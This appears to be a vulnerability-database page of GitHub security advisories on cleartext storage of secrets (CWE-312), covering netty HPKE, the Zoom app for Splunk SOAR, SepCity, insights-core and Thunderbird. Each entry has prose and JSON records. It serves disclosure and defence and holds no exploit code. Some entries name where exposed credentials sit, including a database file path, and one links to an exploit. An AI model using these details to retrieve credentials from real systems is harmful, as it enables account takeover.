private key byte values.\n- Consider making key pair classes avoid implementing detailed `toString()` for sensitive material entirely.\n\n## References\n\n- `codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricCipherKeyPair.java:72-78`\n- `codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricKeyParameter.java:70-76`\n- `codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSL.java:228-232`",
  "id": "GHSA-2mc4-j865-9q4r",
  "modified": "2026-08-20T18:43:18Z",
  "published": "2026-08-20T18:43:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp/security/advisories/GHSA-2mc4-j865-9q4r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp/releases/tag/netty-incubator-codec-parent-ohttp-0.0.23.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "netty-incubator-codec-ohttp: BoringSSL HPKE private key bytes exposed through toString() and exception messages"
}

GHSA-2MG7-2HGC-PQ9P

Vulnerability from github – Published: 2026-08-20 00:35 – Updated: 2026-08-20 00:35

Details

In versions below 3.2.2 of the Zoom app for Splunk SOAR, a user who holds a role with permission to run actions could expose meeting and personal meeting ID passwords by invoking one of the create meeting, update meeting, or update user settings actions, because the affected password and pmi_password parameters are not masked and are shown in cleartext in the user interface. The information disclosure is possible because the app does not mark the affected action parameters as passwords. For more information see Run an action in Splunk SOAR (https://help.splunk.com/en/splunk-soar/soar-on-premises/use-splunk-soar-on-premises/8.6.0/use-the-command-line-interface-to-perform-tasks-in-splunk-soar-on-premises/run-an-action-in-splunk-soar-on-premises).

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-76386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T22:17:24Z",
    "severity": "MODERATE"
  },
  "details": "In versions below 3.2.2 of the Zoom app for Splunk SOAR, a user who holds a role with permission to run actions could expose meeting and personal meeting ID passwords by invoking one of the create meeting, update meeting, or update user settings actions, because the affected password and pmi_password parameters are not masked and are shown in cleartext in the user interface. The information disclosure is possible because the app does not mark the affected action parameters as passwords. For more information see Run an action in Splunk SOAR (https://help.splunk.com/en/splunk-soar/soar-on-premises/use-splunk-soar-on-premises/8.6.0/use-the-command-line-interface-to-perform-tasks-in-splunk-soar-on-premises/run-an-action-in-splunk-soar-on-premises).",
  "id": "GHSA-2mg7-2hgc-pq9p",
  "modified": "2026-08-20T00:35:05Z",
  "published": "2026-08-20T00:35:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76386"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-0806"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PPJ-9HHV-GRQQ

Vulnerability from github – Published: 2022-05-17 00:32 – Updated: 2024-02-14 18:30

Details

SepCity Classified Ads stores the admin password in cleartext in data/classifieds.mdb, which allows context-dependent attackers to obtain sensitive information.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2008-6157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-02-17T17:30:00Z",
    "severity": "MODERATE"
  },
  "details": "SepCity Classified Ads stores the admin password in cleartext in data/classifieds.mdb, which allows context-dependent attackers to obtain sensitive information.",
  "id": "GHSA-2ppj-9hhv-grqq",
  "modified": "2024-02-14T18:30:24Z",
  "published": "2022-05-17T00:32:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6157"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/48822"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7613"
    },
    {
      "type": "WEB",
      "url": "http://www.attrition.org/pipermail/vim/2009-February/002146.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PQ5-GQ5Q-3G2P

Vulnerability from github – Published: 2026-08-11 09:32 – Updated: 2026-08-11 09:32

Details

A flaw was found in insights-core where the password redaction layer fails to recognize credentials not keyed under the literal string 'password'. This allows SSSD LDAP bind passwords (ldap_default_authtok) and Pacemaker fence device credentials to be included in cleartext in archives uploaded to console.redhat.com.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-19391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T07:17:29Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in insights-core where the password redaction layer fails to recognize credentials not keyed under the literal string \u0027password\u0027. This allows SSSD LDAP bind passwords (ldap_default_authtok) and Pacemaker fence device credentials to be included in cleartext in archives uploaded to console.redhat.com.",
  "id": "GHSA-2pq5-gq5q-3g2p",
  "modified": "2026-08-11T09:32:33Z",
  "published": "2026-08-11T09:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19391"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-19391"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2513020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2V3R-QQR5-3X33

Vulnerability from github – Published: 2022-05-24 17:10 – Updated: 2022-05-24 17:10

Details

If a user saved passwords before Thunderbird 60 and then later set a master password, an unencrypted copy of these passwords is still accessible. This is because the older stored password file was not deleted when the data was copied to a new format starting in Thunderbird 60. The new master password is added only on the new file. This could allow the exposure of stored password data outside of user expectations. This vulnerability affects Thunderbird < 68.5.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-6794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-02T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "If a user saved passwords before Thunderbird 60 and then later set a master password, an unencrypted copy of these passwords is still accessible. This is because the older stored password file was not deleted when the data was copied to a new format starting in Thunderbird 60. The new master password is added only on the new file. This could allow the exposure of stored password data outside of user expectations. This vulnerability affects Thunderbird \u003c 68.5.",
  "id": "GHSA-2v3r-qqr5-3x33",
  "modified": "2022-05-24T17:10:01Z",
  "published": "2022-05-24T17:10:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6794"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1606619"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202003-10"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4328-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4335-1"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2020-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

CWE-312

Cleartext Storage of Sensitive Information

GHSA-2F86-9CP8-6HCF

Summary

Details

PoC

Impact

GHSA-2F9J-FF2Q-8QMX

GHSA-2G83-CG5Q-4FMJ

GHSA-2H2G-HG5X-83G2

GHSA-2JRH-C5MC-7J55

GHSA-2MC4-J865-9Q4R

Summary

Details

Proof of concept

Impact

Suggested remediation

References

GHSA-2MG7-2HGC-PQ9P

GHSA-2PPJ-9HHV-GRQQ

GHSA-2PQ5-GQ5Q-3G2P

GHSA-2V3R-QQR5-3X33

Mitigation

Mitigation

CAPEC-37: Retrieve Embedded Sensitive Data